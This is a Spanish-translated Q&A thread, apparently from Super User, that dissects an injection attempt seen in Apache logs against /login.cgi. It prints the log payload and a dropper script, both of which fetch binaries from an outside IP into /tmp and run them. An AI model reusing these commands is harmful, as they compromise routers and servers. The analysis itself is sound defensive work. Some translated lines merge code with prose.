¿Qué hace este script bash? [Intento de pirateo]

31

He estado notando en mis servidores registros de apache, las siguientes líneas extrañas últimamente:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Así que hice un filtro Fail2Ban personalizado y comencé a prohibir las direcciones IP que solicitaban estas URL /login.cgi.

Pero tenía curiosidad por saber qué estaban tratando de hacer, así que saqué el guión que intentaban ejecutar y parece que no puedo entender qué hace exactamente. ¿Algo sobre la eliminación de carpetas de archivo en / var y / tmp?

De todos modos, aquí está:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
ndom91
fuente
44
Vulnerabilidad relacionada: twitter.com/txalin/status/1007625620090707974?lang=en
user2064000
1
¿Cómo llegó ese script a su servidor en primer lugar?
MrWhite
3
Acabo de abrir el archivo .sh en un navegador en mi PC y copiarlo y pegarlo aquí, nunca llegó a mi servidor.
ndom91
1
Este script es un 'cuentagotas', que se utiliza para descargar el script de explotación real. Estará ubicado en hxxp://80.211.173.159:80/$namedonde se $nameencuentra cada una de las arquitecturas de CPU bin_names. Por lo tanto, se descargarán y ejecutarán 7 scripts de ataque
BlueCacti

Respuestas:

42

Linea por linea:

#!/bin/sh

Establece el shshell, cualquiera que sea, como la línea shebang. sh%20/tmp/ksen la solicitud anula esto, por lo que esta línea se trata como un comentario normal y se ignora.

u="asgknskjdgn"

Declara un nombre arbitrario, presumiblemente para evitar chocar con otros nombres de archivo. No estoy seguro de por qué no solo usarían mktemp, pero tal vez eso no esté disponible en todas las plataformas.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Enumera varias arquitecturas de CPU comunes.

http_server="80.211.173.159"
http_port=80

El servidor que tiene el exploit.

cd /tmp/||cd /var/

Intenta cambiar el directorio a algún lugar donde es probable que su servidor web pueda crear archivos. Creo que SELinux ayudará con esto, aplicando reglas mucho más estrictas sobre lo que el servidor web puede hacer que el sistema de archivos por sí solo.

for name in $bin_names
    do

Para cada arquitectura de CPU ...

    rm -rf $u

Elimina los programas de exploit previamente probados. Innecesario debido a la siguiente línea, por lo que puede ser ignorado.

    cp $SHELL $u

Copia el ejecutable de shell actual ( /bin/sh). Se puede ignorar debido a la línea después de la siguiente.

    chmod 777 $u

Hace que todos tengan acceso completo al nuevo archivo. Esto debería haber sido después del wgetcomando, que es un signo de un novato de scripting de shell o una técnica de dirección errónea.

    >$u

Vacía el archivo. No tiene sentido debido a la siguiente línea.

    wget http://$http_server:$http_port/$name -O -> $u

Sobrescribe el archivo con el script de exploit para esta arquitectura. -O -> $upodría haberse escrito -O - > $u(el guión indica que la descarga debe escribirse en la salida estándar) que es equivalente a -O $u.

    ./$u $name

Ejecuta el script exploit con la arquitectura como primer argumento.

done

Termina el ciclo.

Parece que este es un script de intento de exploit trivial, que intenta exploits conocidos en varias plataformas de CPU. No sé por qué se sobrescribe $utres veces, pero esas operaciones podrían ser simplemente restos de una iteración anterior del script. Presumiblemente, esa versión anterior tenía los exploits codificados en lugar de ser servidos dinámicamente; el primero es más fácil pero casi garantiza que el script será menos efectivo con el tiempo a medida que se corrijan los errores.

l0b0
fuente
21
Hay una ventaja de ejecutar explícitamente el archivo. Si el destino ya existe y se está ejecutando en este momento, el núcleo no le permitirá abrir el archivo para escribir (-ETXTBSY). Sin embargo, se permite cambiar el nombre o eliminar un programa en ejecución.
Grawity
¿Qué hace el ->en el wgetcomando? ¿Por qué no solo wget ... -O $u?
RonJohn
1
@RonJohn lo leyó como- >
gato
55
Con -O->filename, el filenameno se muestra en la salida de ps ax . Eso puede ser una ventaja para dificultar la depuración.
pts
1
El cpte da un archivo ejecutable. ¿Posiblemente útil si chmodfalla? Editar: dado que aparentemente esto apunta a enrutadores, es muy posible que chmodno exista.
Bob
12

La wgetes la línea peligrosa clave.

El for name in $bin_namesestá trabajando a través de la lista de plataformas y para cada plataforma en la que se vacía un directorio temporal, la copia de una concha encima y después por lo que es accesible por todos.

Luego descarga un archivo usando wgety luego lo ejecuta usando el programa shell que acaba de copiar.

El script básicamente intenta descargar una serie de ejecutables o scripts para cada plataforma que pueda y frotarlos contra su sistema con la esperanza de que pueda comprometer aún más su sistema.

Mokubai
fuente
66
frotando == corriendo?
Barmar
55
@Barmar Estoy seguro de que fue intencional: P
Canadian Luke REINSTATE MONICA